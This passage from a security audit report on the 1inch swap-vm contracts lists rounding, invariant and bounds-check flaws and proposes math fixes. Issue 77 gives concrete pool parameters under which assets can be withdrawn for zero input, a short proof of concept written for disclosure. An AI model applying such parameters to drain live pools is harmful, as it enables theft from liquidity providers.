Description	The decay mechanism adds and removes offsets to adjust balanceIn and balanceOut: *ctx.swap.balanceIn += _offsets[ctx.query.orderHash][ctx.query.tokenIn][true].getOffset(period);* *ctx.swap.balanceOut -= _offsets[ctx.query.orderHash][ctx.query.tokenOut][false].getOffset(period);* This will fully violate the Concentration mechanism as now the liquidity is built using modified balances: *uint256 newInv = (ctx.swap.balanceIn + ctx.swap.amountIn) * (ctx.swap.balanceOut - ctx.swap.amountOut);* In the case of Decay -> Concentration, when we swap in the reverse direction after a swap that incurs decay, we will experience a smaller value of balanceA and balanceB than the value stored in the liquidity[] mapping at the end of the first swap (due to the decay mechanism). Also the decrease in offsets due to passage of time will result in balances differing from the stored liquidity in Concentrate In the case of Concentration -> Decay, it is instead _updateScales that functions incorrectly because Decay doesn't restore ctx.swap.balance{In,Out}. the liquidity[] mapping gets updated with an off-curve quantity, so when we load it for the next swap, again concentratedBalance does the wrong thing Since the liquidity and balances won't correspond to each other, the math in Concentrate won't hold causing incorrect prices. The price boundaries won't be respected either
Recommendations	Consider making sure that these sequences are not used for

	program building.
Comments / Resolution	Resolved, the liquidity is now recomputed from the real balances and price limits each time

Issue_68	XYCConcentrate → Fee does not work for protocol fee scenario
Severity	**High**
Description	Whenever the XYCConcentrate → Fee sequence is existing in a program, whereas _protocolFeeAmountInXD is used, it will use the gross amountIn for _updateScales: *ctx.runLoop();* *ctx.swap.amountIn = takerDefinedAmountIn;* *–...* *uint256 newInv = (ctx.swap.balanceIn + ctx.swap.amountIn) * (ctx.swap.balanceOut - ctx.swap.amountOut);* This is incorrect, as the protocol fee is not meant to be part of the reserves and thus the K calculation is based on inflated reserves.
Recommendations	Consider making sure when calculating the new K to use the proper reserves. This can be enforced by never allowing the above described sequence.
Comments / Resolution	Acknowledged. Fee instruction will always occur before XYCConcentrate

Issue_69	XYCConcentrateArgsBuilder.computeDeltas is not meaningful for >2 assets
Severity	**Medium**
Description	Ignoring Issue: (computeDeltas is overspecified), there is no generalised helper function for constructing the parameters for an n-asset XYCConcentrate strategy. Therefore, we assume that computeDeltas itself is intended for use in this case. However, there is no clear way to resolve the problem that arises when computeDeltas returns different values of deltaA/deltaB for the same token in different swap directions (e.g. for the token A in the A↔B direction versus the A↔C direction). We do not find any documentation or unit tests for the >2-asset case of _xycConcentrateGrowLiquidityXD at all, so we can only guess at the intention. Regardless of the content of the missing conflict-resolution mechanism, a coherent n-asset concentrated-liquidity constant-product strategy must use the same virtual reserve offsets (δ_i) for each asset in all swap directions that asset is involved in. Therefore, we conclude that the implementation of computeDeltas is not coherent with constructing n-asset strategies or that no function exists for the construction of such strategies in spite of the existence of instructions/opcodes for settling them.
Recommendations	In conjunction with Issue: (decomposition into pairwise AMMs is unsound) and Issue: (_xycConcentrateGrowLiquidityXD grows liquidity for unrelated tokens) reformulate the XYCConcentrate problem for n assets or remove the n asset (XD) flows from XYCConcentrate See the above Appendix for more concrete recommendations about how XYCConcentrate should be reformulated
Comments / Resolution	Resolved. _xycConcentrateGrowLiquidityXD has been removed and only 2 assets are now supported

Issue_70	XYCConcentrateArgsBuilder.computeDeltas taking the ratio of square roots of prices is not meaningful
Severity	**Medium**
Description	The general pattern of 2-asset, concentrated-liquidity constant-product AMMs proportionally relates reserves (and therefore swap deltas) to arithmetic differences in square-root prices. The ratio of two square-root prices does not, on its own, give meaningful information about the state of the AMM. While the dimensionless ratio of two square-root prices gives a square-root-price space scaling factor, applying this scaling factor to a balance to obtain a virtual reserve offset (delta) is not a meaningful or correct pattern. The correct pattern: $$b_y = L \cdot \left(\sqrt{P_{spot}} - \sqrt{P_{lo}}\right)$$ demonstrates the formula on square-root prices that gives rise to a value in units of reserves. While the quantities involved have compatible units (the product of a dimensionless quantity and a token balance is a token balance), the pattern implemented is incorrect. Token amounts (balances and/or deltas) are related to the product of liquidities and prices (in the 2-asset case).
Recommendations	Implement computeDeltas in terms of the differences between square root prices. Deltas are related to the differences between the price bounds and zero/infinity. Real reserves are related to the differences between the spot price and the price bounds. See also Issue: (computeDeltas does not obey price limits) for more details on the impact of this mistake as well as further prescriptions for correcting the implementation.
Comments / Resolution	Resolved. Now the offsets are computed correctly inside the _xycConcentrateGrowLiquidity2D function

Issue_71	Using invSqrtPspot - invSqrtPmax causes extra precision loss
Severity	**Low**
Description	Currently (1/sqrtPspot - 1/sqrtPmax) is substituted as invSqrtPspot - invSqrtPmax in multiple places. This is notNone of these places are incorporated into the contracts-as-deployed, but itthey may be used by the test suite. This allows the possibility of 2 imprecise divisions which can be replaced with a single imprecise division if (sqrtPmax - sqrtPspot)/(sqrtPmax * sqrtPspot) is used instead. The double precision loss also makes rounding analysis harder: the expression is ambiguously rounded, opening up the possibility to manipulate swaps into being rounded in favor of the taker. Furthermore, the computation of fourAC in _computeL involves a multiply-after-divide, increasing rounding error. While _computeL correctly bounds the exact value of L from below, it has more rounding error than is strictly required for correctness.
Recommendations	Use (sqrtPmax - sqrtPspot)/(sqrtPmax * sqrtPspot) instead
Comments / Resolution	Acknowledged.

Issue_72	Offset rounding can favor the taker
Severity	**Low**
Description	deltaLt that is added to balanceIn is always rounded down. This favors the taker since a lower amount of selling token reserves result in better prices https://github.com/1inch/swap-vm/blob/9b9d821eb2f4ed8e2ffa00a4ccb161ca3cef7558/src/instructions/XYCConcentrate.sol#L134-L138 *uint256 deltaLt = Math.mulDiv(L, ONE, sqrtPriceMax);* *uint256 deltaGt = Math.mulDiv(L, sqrtPriceMin, ONE);* *if (isTokenInLt) {* *ctx.swap.balanceIn += deltaLt;*
Recommendations	Round up the offset that is being added to balanceIn
Comments / Resolution	Resolved. Note that the codebase now has a higher chance of overflow revert since now L * ONE and L * sqrtPriceMin are performed using normal multiplication. Recommend to use Math.mulDiv(x, y, d, Math.Rounding.Ceil)

Issue_73	XYCConcentrateArgsBuilder.buildXD consumes quartic gas and should not be called on-chain
Severity	**Low**
Description	Allocating memory on the EVM consumes (asymptotically) gas quadratic in the size of the allocated region. Solidity does not de-/re-allocate memory. The line: *packed = abi.encodePacked(packed, tokens[i]);* in XYCConcentrateArgsBuilder.build repeatedly copies the object packed into memory, consuming quadratic memory. The gas cost of consuming quadratically-much memory is quartic in tokens.length. This function should not be called on-chain to avoid the risk of out-of-gas DoS.
Recommendations	Document this limitation.
Comments / Resolution	Resolved. XD variant has been removed

Issue_74	XYCConcentrate computes virtual balances instead of real balance deltas
Severity	**Low**
Description	In the typical construction of concentrated-liquidity constant-product AMMs (e.g. Uniswap V3), the virtual balances (and their corresponding deltas/offsets) are never materialised. As implemented, XYCConcentrate never actually solves the constant-product invariant, delegating that computation to XYCSwap instead. While this certainly *can be* implemented correctly, the intervening abstraction barrier and loose coupling between these two instructions/opcodes creates opportunities for mistakes/bugs. See also Issue: (XYCConcentrate{,ArgsBuilder} inconsistent rounding direction). The typical implementation implicitly solves the invariant from liquidity and prices directly, not from virtual reserves.
Recommendations	Use the formulas given in the Appendix above: $$\Delta y = \Delta\sqrt{P} \cdot L$$ $$\Delta x = \Delta\frac{1}{\sqrt{P}} \cdot L = \frac{-\Delta\sqrt{P}}{\sqrt{P_0 \cdot P_1}} \cdot L$$ to directly compute the amountIn/amountOut of the swap instead of delegating that computation to XYCSwap. Alternatively, acknowledge this finding and exercise extreme diligence in the analysis of the rounding impact of each computation.
Comments / Resolution	Acknowledged.

PeggedSwap/PeggedSwapMath

The PeggedSwap contract is a customized math implementation which supports trading pegged assets.

Appendix: PeggedSwap

Background

PeggedSwap implements a novel constant-function AMM/bonding curve based on the invariant:

$$C = \sqrt{x} + \sqrt{y} + A \cdot (x + y)$$

This AMM aims to provide increased capital efficiency for pegged assets by automatically concentrating capital around the equilibrium (x = y) state, reducing price impact for swaps. To accommodate assets that have pegs other than 1:1, the implementation of the curve defines new variables u and v that can be adjusted at strategy-construction time for the peg as well as for the expected capital that the strategy will manage.

Comments in the source we reviewed allude to a general class of constant-function AMMs in the form:

$$C = x^p + \ y^p + A \cdot (x + y)$$

for some specific p chosen to shape the class of curve. However, only $p = \frac{1}{2}$ is implemented. We will discuss only this class of curve.

For any specific instantiated bonding curve, the parameter A serves as the liquidity concentration parameter. It is referred to in the source as the linearWidth parameter. Increasing values of A cause the "flat" region of the curve near the equilibrium price to become flatter and wider. This concentrates more of the strategy's capital near the equilibrium price, leading to lower price-impact swaps near equilibrium, increasing capital efficiency *and* impermanent loss. Conversely, increasing A also increases the steepness of the curves at its extrema, increasing price impact in those areas, decreasing available liquidity, and decreasing capital efficiency when the asset pair is off-peg. When the price is close to the equilibrium, the amplified linear term dominates, providing a flat trading region. Away from equilibrium, when the normalised balances are small, the square-root terms dominate, producing a steep price response.

A range of A values are given in the source code as guidance from the developers to makers for various asset types:

- For similarly-pegged stablecoins, a value of A in the range 0.8-1.5
- For wrapped, similarly-pegged assets that aren't stablecoins, a value of A in the range 0.3-0.6
- For volatile, uncorrelated pairs, a value of A in the range 0.0-0.2

The AMM is constructed from the bonding curve with the following general steps:

1. Normalise the balances of the strategy by adjusting for dissimilar decimals and equilibrium reserves
2. Compute the invariant value C from these normalised balances using the bonding curve equation directly
3. Offset one of the (normalised) balances of the strategy by the specified swap amount
4. Rearrange the bonding curve equation to isolate the balance of the unspecified swap amount asset's balance
5. Compute the new balance of the strategy of the unspecified asset
6. Un-normalise the balance to obtain a real amount of tokens in that token's base units

General critique

https://www.desmos.com/calculator/i6hgof9wxe

(There is no information in the above Desmos link that is not available below, but it does provide an intuitive, visual explanation for some of the concepts.)

The current implementation suffers from four major problems:

- Catastrophic cancellation in the numerator when the discriminant is close to 1.
- Inconsistent rounding direction.
- The curve is not scale-invariant.
- The bonding curve is *generally* unsuitable for un-pegged assets or pegged assets with a dynamic peg.

To fix the numerical instability issue, eliminate catastrophic cancellation by applying the Citardauq formula (q-formula). This eliminates subtraction (to the extent that it is possible) in the computation of the desired root.

To fix the rounding issue, carefully identify which (sub-)expressions need to be rounded in which direction, and apply disciplined rounding to each. To avoid excessive rounding error, increase the fixed-point basis and perform as few inexact operations (sqrt, division) as possible. The fixed-point basis (ONE) should be as large as possible without causing overflow for the expected range of token totalSupply values. Further, a binary (rather than decimal) fixed-point basis significantly improves gas consumption and contract size.

To fix the problem with scale-variance, reframe the bonding curve in terms of equilibrium ***unit*** reserves, and then homogenise the real reserves to lie on that curve.

To fix the problem with the recommendation of the range of values for A to choose for different pair types, do **not** recommend that PeggedSwap be used for any kind of volatile or uncorrelated pair. For asset pairs that are pegged to the same numeraire; for example USDC/USDT, PAXG/XAUT, WETH/stETH, WBTC/cbBTC; thoroughly analyse the historical volatility of those pairs and suggest a value of A suitable for maintaining high capital efficiency under the range of historically-encountered peg deviations. For wrapped assets (such as the WETH/stETH pair previously mentioned), distinguish between those assets with a shared, static peg (like the rebasing stETH) and those assets that are pegged, but for which the peg is changing (e.g. wstETH). The former are suitable for PeggedSwap; the latter are not.

The Citardauq (q-formula) representation of the solution to the bonding curve is:

$$y = \frac{2 \cdot \left(C - A \cdot x - \sqrt{x}\right)^2}{2 \cdot A \cdot \left(C - A \cdot x - \sqrt{x}\right) + 1 + \sqrt{1 + 4 \cdot A \cdot \left(C - A \cdot x - \sqrt{x}\right)}}$$

Normalisation

The bonding curve is not scale-invariant (homogeneous). In other words, for an arbitrary scaling factor $D \neq 1$, the prices implied by the point (x, y) on the curve that goes through that point and the point $(D \cdot x, D \cdot y)$ on its own curve are not the same. Therefore, the initial choice of x_0 and y_0 used for normalisation before computing the invariant matters far more than just "the ratio determines the price". There are two degrees of freedom here. Market makers should extensively simulate the behaviour of this bonding curve under various scenarios (including the compounding of fees and donation/inflation attacks) to determine whether the implied surface/prices are the desired ones.

$$-\frac{\partial y}{\partial x} = \frac{A + \frac{1}{2\sqrt{x}}}{A + \frac{1}{2\sqrt{y}}}$$

$$-\frac{\partial (D \cdot y)}{\partial (D \cdot x)} = \frac{A + \frac{1}{2\sqrt{D}\sqrt{x}}}{A + \frac{1}{2\sqrt{D}\sqrt{y}}}$$

To put this another way, as the real balances of the strategy grow beyond the equilibrium reserves used for normalisation, the curve becomes relatively "flatter". A flatter curve has different qualities, providing greater capital efficiency around the equilibrium price, but also greater opportunity for impermanent loss.

Sketch of a homogenising fix

Reframe the original bonding curve:

$$C = \sqrt{x} + \sqrt{y} + A \cdot (x + y)$$

$$\sqrt{D} \cdot (2 + 2 \cdot A) = \sqrt{x} + \sqrt{y} + \frac{A}{\sqrt{D}} \cdot (x + y)$$

This reparametrisation by D instead of C preserves the degrees of freedom of the original bonding curve (2) while putting it in a form that is amenable to a transform that makes it scale-invariant. This also subtly changes the semantics of A. While it is conceptually and functionally *similar* to the original A, it is now itself "normalised". It is the "linear width" term only when the equilibrium reserves are 1. This makes the curve easier to reason about. In this reparametrised form, if we replace x and y with $D \cdot \hat{x}$ and $D \cdot \hat{y}$, we obtain:

$$\sqrt{D} \cdot (2 + 2 \cdot A) = \sqrt{D \cdot \hat{x}} + \sqrt{D \cdot \hat{y}} + \frac{A}{\sqrt{D}} \cdot (D \cdot \hat{x} + D \cdot \hat{y})$$

$$2 + 2 \cdot A = \sqrt{\hat{x}} + \sqrt{\hat{y}} + A \cdot (\hat{x} + \hat{y})$$

This preserves the functional intention of the original bonding curve *and* we have gained a new property: the homogenised version of C does not depend on the reserves. $C = 2 + 2 \cdot A$, which can be computed exactly in fixed-point. Of course, this only works as long as the D we choose is the same D from the reparametrisation. This homogenising D can be computed as:

$$D = \left(\frac{\sqrt{x} + \sqrt{y} + \sqrt{(1 + 8 \cdot A + 8 \cdot A^2) \cdot (x + y) + 2 \cdot \sqrt{x \cdot y}}}{4 + 4 \cdot A} \right)^2$$

Given a unit-reserves concentration parameter A, this reparametrisation demands only a single degree of freedom to fully specialise: the real (unhomogensied) equilibrium price. The equilibrium price should be used to obtain x and y in common units. Which one to adjust depends on the direction of the swap and whether the swap is exact-in or exact-out. Then x and y can be homogenised by D before solving the invariant curve using a technique similar to the one below. Homogenisation in this way has the added benefit of constraining the reserves to lie in the range $[0,4]$, which significantly simplifies the analysis of the implementation in both overflow and worst-case rounding error.

Implementation suggestion

The following pseudocode is a suggestion. We assume that the value given for `C` is exact, which is not the case in general. Compensating for inexact `C` is beyond the scope of this document, but follows a similar pattern to what you see below. `C` must be rounded in both directions. Carefully consider which rounding is fed into which side in the following section. Likewise, obtaining appropriately rounded `x` requires further scrutiny.

Common subexpression: $C - A \cdot x - \sqrt{x}$

```
bigx = x * ONE
sqrtx = Math.sqrt(bigx)
bigAx = A * x
```

Compensate for rounding error

```
roundup = (sqrtx ** 2 < bigx) + (bigAx % ONE != 0)
```

Create concrete fixnum bounds (named E) for $C - A \cdot x - \sqrt{x}$

```
Axplussqrtx = bigAx / ONE + sqrtx
E_ceil = C - Axplussqrtx
E_floor = E_ceil - roundup
```

Aside: the two subtractions above ***MUST*** be implemented using saturating subtraction.

We now have E_ceil >= C - A*x - sqrt(x)
and E_floor <= C - A*x - sqrt(x).

Numerator: $2 \cdot \left(C - A \cdot x - \sqrt{x}\right)^2$ (with basis ONE**2)

```
numerator = E_ceil ** 2 << 1
```

Denominator: $2 \cdot A \cdot \left(C - A \cdot x - \sqrt{x}\right) + 1 + \sqrt{1 + 4 \cdot A \cdot \left(C - A \cdot x - \sqrt{x}\right)}$

Sub-term: $2 \cdot A \cdot \left(C - A \cdot x - \sqrt{x}\right)$

```
denom_left = (E_floor << 1) * A / ONE
```

Sub-term: $\sqrt{1 + 4 \cdot A \cdot \left(C - A \cdot x - \sqrt{x}\right)}$

```
denom_right = sqrt((E_floor << 2) * A + ONE * ONE)
```

Put it together

```
denominator = denom_left + ONE + denom_right
```

Final result

Return Math.divCeil(numerator, denominator).

mulDiv

Further improvements in rounding can be achieved by avoiding the rescaling by ONE in the expression denom_left and performing a mulDiv as your final operation. This requires increasing the scale of both numerator and denominator expressions. This creates tighter bounds on the resulting value for y.

Privileged Functions

- none

Issue_75	Used normalization reserves doesn't correspond to tokenIn and tokenOut
Severity	**High**
Description	PeggedSwap always uses the first normalization reserve as the tokenIn normalization reserve. This is incorrect as tokenIn can be either token0 or token1 depending on the params provided by the taker *uint256 targetInvariant = PeggedSwapMath.invariantFromReserves(* *x0,* *y0,* *config.x0,* *config.y0,* *config.linearWidth* *);*
Recommendations	Correctly assign the normalization reserves
Comments / Resolution	Resolved. Normalization reserves are now correctly assigned. But the fix requires x0 and y0 to be the normalization reserves of tokenLt and tokenGt respectively while existing comments are inconsistent with this https://github.com/1inch/swap-vm/blob/9b9d821eb2f4ed8e2ffa00a4ccb161ca3cef7558/src/instructions/PeggedSwap.sol#L17-L18 */// @param x0 Initial X reserve (normalization factor) = initial_balance_X * rateLt (or rateGt)* */// @param y0 Initial Y reserve (normalization factor) = initial_balance_Y * rateGt (or rateLt)*

Issue_76	PeggedSwapMath implements the quadratic equation in a form that is susceptible to catastrophic cancellation (loss of significance)
Severity	**High**
Description	PeggedSwapMath implements *uint256 numerator = sqrtDiscriminant - ONE;* as part of the quadratic formula representation of the solution to the invariant (bonding) curve. For values of sqrtDiscriminant close to 1 (in fixed-point), this formula experiences loss of significance. To put this another way, in the expression: *uint256 rightSide = invariantC - sqrtUPlusAu;* when sqrtUPlusAu is close to invariantC, the value of rightSide goes to 0 and sqrtDiscriminant goes to 1. This occurs when the state of the pool is far from equilibrium. The result of this is the amplification in the relative rounding error of the solution to the curve. In combination with the inconsistent rounding of the implementation, the result is that the swap relation does not obey the bonding curve invariant.
Recommendations	Adopt the citardauq/q-formula/rationalised-numerator variation of the solution to the quadratic-in-sqrt(u) rearrangement of the bonding curve equation
Comments / Resolution	Resolved. The implementation uses the citardauq variation of the quadratic formula

Issue_77	PeggedSwap{,Math} exhibits inconsistent rounding direction
Severity	**High**
Description	The function PeggedSwapMath.invariant computes a lower bound on the value of C. This results in overestimating the amountOut for exact-in swaps and underestimating the amountIn for exact-out swaps. This results in loss-of-funds for the Maker relative to the algebraic ideal of the bonding curve. PeggedSwapMath.invariantFromReserves also contributes additional rounding error to this process during the normalisation by equilibrium reserves step. Likewise the function PeggedSwapMath.solve is ambiguously-rounded. While it approximates the exactly-computed solution to the bonding curve, it is neither an upper bound nor a lower bound on that value. A sophisticated taker can force the rounding to be advantageous, again resulting in a loss to the Maker relative to the algebraic ideal. Because solve uses multiple inexact, ambiguously-rounded steps, this rounding error is amplified.
Recommendations	Carefully consider how the result of each inexact term will be used later in the computation. If the effect of increasing that term will be to increase the result of solve (the target reserve balance), then round the term up. If the result is a decrease in the result, round the term down. If the term is used in multiple places with conflicting effect on the result, round it in both directions and carry the appropriate version to each site. Also refer to the detailed recommendations in the Appendix above.

Comments / Resolution	Acknowledged. **We advise that the team ought to fix this issue since it allows swaps to happen at extreme prices including taking out assets freely** and we expect possible greater rounding error with more sophisticated optimization techniques
	
	Eg:
	linearWidth = 1633;
	balanceIn = 388719381;
	balanceOut = 6694825453300679118559;

	x0 = 999999999380482683686185;
	y0 = 2931861308320036980247 36;
	
	for amountOut == 2000, calculated amountIn is 0

Issue_78	Permanent DOS in case dynamic balances is used and one reserve drops to zero
Severity	**High**
Description	The _peggedSwapGrowPriceRange2D function has a requirement that both balances must be non-zero, else it will revert. But the bonding curve used allows for one reserve to drop to zero without requiring infinite amount of the other asset (unlike other curves like x*y = k). This is particularly feasible for volatile pairs. Once a reserve drops to zero, the DOS is permanent in case dynamic balance is used for the token accounting since only swaps can alter the balance *function _peggedSwapGrowPriceRange2D(Context memory ctx, bytes calldata args) internal pure {* *PeggedSwapArgsBuilder.Args calldata config = PeggedSwapArgsBuilder.parse(args);* *uint256 x0_raw = ctx.swap.balanceIn;* *uint256 y0_raw = ctx.swap.balanceOut;* *require(x0_raw > 0 && y0_raw > 0, PeggedSwapRequiresBothBalancesNonZero(x0_raw, y0_raw));*
Recommendations	Relax the requirement that both tokens should be non-zero or explicitly disallow swaps that will make a token's reserve drop to 0
Comments / Resolution	Resolved. Now only reverts if both tokens have zero balance

Issue_79	The PeggedSwap curve is not scale-invariant (it is inhomogeneous)
Severity	**Medium**
Description	The shape of the curve $$\sqrt{x} + \sqrt{y} + A \cdot (x + y) = C$$ changes with the magnitude of x and y. A typical bonding curve's spot price does not change when equal values of tokenA and tokenB are added. However, with this curve, the shape of the curve changes, becoming flatter in the middle and steeper at the edges as x and y increase. Effectively, an increase in the scale of x and y causes the linear term to dominate over a larger region of the bonding curve. Or to put it yet another way, increasing x and y has similar effect as increasing A. While we are unable to find a proof-of-concept exploit for this behavior, it is highly surprising, and it could easily become a pool-draining exploit when adding features to SwapVM or changing the way in which PeggedSwap can be composed with other primitives. This also means that there is no easy solution to the liquidity-add and liquidity-remove formulas. For your typical AMM, liquidity addition and removal is an operation that keeps price constant while increasing or decreasing C. For this AMM, even if you add equal *price-adjusted values* of x and y, according to the current spot price of the pool, the resulting state of the bonding curve implies a different price. If not compensated for correctly, this will result in loss of funds.
Recommendations	Homogenise the bonding curve by redefining A and normalising balances not by a pair of equilibrium reserves but instead by a single equilibrium price. Then homogenise x and y by the factor D as defined in the Appendix. As repeatedly noted elsewhere in this report, you must exercise extreme diligence in deciding the rounding direction of D used to homogenise in order to ensure that rounding is adverse to the taker.

Comments / Resolution	Acknowledged.

Issue_80	The “Parameters guide” in PeggedSwap.sol suggests using this curve for volatile pairs and incorrectly categorises WETH/stETH as partially volatile
Severity	**Medium**
Description	Even with $A = 0$, the PeggedSwap bonding curve is more concentrated than the standard constant-product bonding curve: $x \cdot y = k$. While there is *some* liquidity, the off-peg liquidity on this bonding curve is nearly-unusable. The bonding curve does not exhibit the typical AMM invariant property that the price goes to infinity as the reserves of one token go to zero; or to put it another way: there is not liquidity available at all prices. This decreases capital efficiency (to zero in the extremes) the further the price is off-peg, increasing impermanent loss, and increasing price impact. Likewise, the comments incorrectly categorise the “stable” pair WETH/stETH separately from literal-stablecoin pairs like USDC/USDT. While this issue has no effect on the soundness of the underlying maths or implementation, someone integrating with SwapVM who obeys the comments may find themselves configuring a strategy with considerably more risk than intended.
Recommendations	Consider modifying documentation and acknowledge this issue
Comments / Resolution	Resolved. The documentation has been updated.

Issue_81	Excessive imprecise operations in PeggedSwapMath lead to compounding rounding error
Severity	**Low**
Description	A single incorrectly-rounded expression introduces less than 1ulp of error into the resulting value. However, when multiple incorrectly-rounded values are combined (multiplied) together, this 1ulp of error is increased by the (fixed point) magnitude of them. As implemented in PeggedSwapMath, there are imprecise values that are multiplied and carried forward, including a final squaring step performed on an imprecise value w. Even when correctly rounded (see Issue: PeggedSwap{,Math} exhibits inconsistent rounding direction), carrying rounding error forward like this degrades the degree of accuracy of the implementation in relation to the ideal formulation. To the degree that it is economically possible (gas), it is desirable to closely approximate the true solution. The consequence of this is that the rounding error introduced in earlier operations is needlessly amplified. The test suite for PeggedSwapMath has extremely loose tolerances, as high as 35% in one test, which papers over this defect in the implementation.
Recommendations	Avoid combining inexact values in ways that magnify rounding error. Multiply only exact values and perform inexact operations (division, square root) only at the end. Tighten the tolerances in the test suite. In conjunction with Issue: {PeggedSwap{,Math} exhibits inconsistent rounding direction}, round all values in a way that is most disadvantageous to the taker.
Comments / Resolution	Acknowledged. The test suite for PeggedSwap{,Math} still has very loose tolerances. We cannot verify whether these tolerances would admit a profitable exploit by a sophisticated attacker.

Issue_82	Equilibrium state for PeggedSwap pool is parameterised by *both* equilibrium reserves, when it should be an equilibrium *price*
Severity	**Low**
Description	This is related to the homogenisation issue . While providing 2 parameters for the normalisation (equilibrium reserves) allows for (almost) arbitrary rational representation of the equilibrium price, it adds an extra degree of freedom. The magnitude of the equilibrium reserves (when computed in fixed-point) contributes to the relative rounding error incurred during swapping. Parameterising the normalisation step by only the *price* eliminates the degree of freedom from the pool construction and makes controlling the relative error in later steps possible. This issue is exacerbated by the fact that the PeggedSwap curve is inhomogeneous. The extra degree of freedom helps determine the shape of the curve in unexpected ways.
Recommendations	In conjunction with another issue, represent the equilibrium price of the strategy with a single fixnum. Alternatively, represent the equilibrium price of the strategy with a single fixnum *and* a parameter that represents the anticipated equilibrium TVL of the strategy. Normalise the real reserves based on these quantities.
Comments / Resolution	Acknowledged

Utils

Calldata

The Calldata library is a simple library that handles slicing of calldata.

Privileged Functions

- none

Issue_83	The slice function allows for begin == length
Severity	**Low**
Description	begin is the index from which the slice should start. Hence the highest value that it can take is calls.length - 1. But the kept check allows for begin to take a value of calls.length *function slice(bytes calldata calls, uint256 begin, bytes4 exception) internal pure returns (bytes calldata res) {* *if (begin > calls.length) {*
Recommendations	Consider using >= instead of >
Comments / Resolution	Resolved.

Issue_84	Bounds checking variant of slice doesn't validate beginning index
Severity	**Low**
Description	The (bytes calldata calls, uint256 begin, uint256 end, bytes4 exception) variant of the slice function is supposed to check the bounds. But the function only checks if end is <= calls.length and doesn't enforce that begin is < end
Recommendations	Consider ensuring that begin is < end
Comments / Resolution	Acknowledged.

CalldataPtr

The CalldataPtr library is a simple library for working with CalldataPtr type.

Privileged Functions

- none

Issue_85	Length bits greater than 128 will be treated as offset bits
Severity	**Low**
Description	There is no cleaning performed on length bits greater than 128 in the current implementation. Hence if there are any bits > 128 set in length, it will be counted towards offset *function from(bytes calldata data) internal pure returns (CalldataPtr ptr) {* *assembly ("memory-safe") { // solhint-disable-line no-inline-assembly* *ptr := or(shl(128, data.offset), data.length)* *}* *}*
Recommendations	Require that bits > 128 are all 0 for length
Comments / Resolution	Acknowledged.

Transient

The Transient library is a simple helper contract that facilitates tload and tstore operations. It is used within the context of the reentrancy guard in the SwapVM architecture.

Privileged Functions

- none

Issue_86	Transient slot collision in case transient lib is used along with solidity's native transient keyword
Severity	**Low**
Description	Since the transient library reserves storage slots instead of transient slots, collision can happen in case the library is used alongside transient variables Eg: *contract VulnerableReentrancyGuard {* *// Both _lock and nativeTransientVar will eventually write/read to transient slot 0* *TransientLock private _lock;* *uint256 transient public nativeTransientVar;*
Recommendations	Consider being careful when using this library in any context.
Comments / Resolution	Acknowledged.

TransientLock

The TransientLock library implements a reentrancy lock backed by EIP-1153 transient storage, intended to be embedded into other contracts as a cheap, per-transaction guard. It does not define any access control, ownership, or policy on *who* may call into protected functions; instead, it provides a minimal primitive - acquire a lock, release a lock, and read whether the lock is held - that integrating contracts can wrap around their own entrypoints.

The library directly manages only the lock's transient backing value. It delegates all transient read/write mechanics and arithmetic safety behavior to TransientLib (via tuint256).

The primary "actors" are integrator contracts and their internal control flow: end users never call TransientLockLib directly, but their calls into the host contract may be accepted or rejected depending on whether the lock is already held within the same transaction.

Appendix: Transient Lock Accounting Rule

The lock is encoded as a transient integer with a narrow expected range.

- Acquisition rule: "increment, then require the value is exactly 1."
    - If the lock word was 0, it becomes 1 and acquisition succeeds.
    - If it was any other value, acquisition reverts with UnexpectedLock (or, at the extreme wraparound boundary, TransientLib's overflow error).

- Release rule: "decrement, and only revert on underflow."
    - If the lock word was 1, it becomes 0 and release succeeds.
    - If it was 0, it underflows and reverts with UnexpectedUnlock.

This encoding makes the lock act like a transaction-scoped mutex: once acquired, any attempt to acquire it again before it is released will fail, preventing the guarded section from being entered reentrantly.

Privileged Functions

- none

No issues found.

Simulator

The Simulator contract is a simple implementation of a delegatecall with a subsequent revert. This contract is inherited by the AquaRouter and is for estimation purposes only.

Privileged Functions

- none

No issues found.

Multicall

The Multicall contract exposes the standard multicall implementation which allows for batching multiple transactions to itself in a single transaction. It is inherited by the AquaRouter contract

Privileged Functions

- none

No issues found.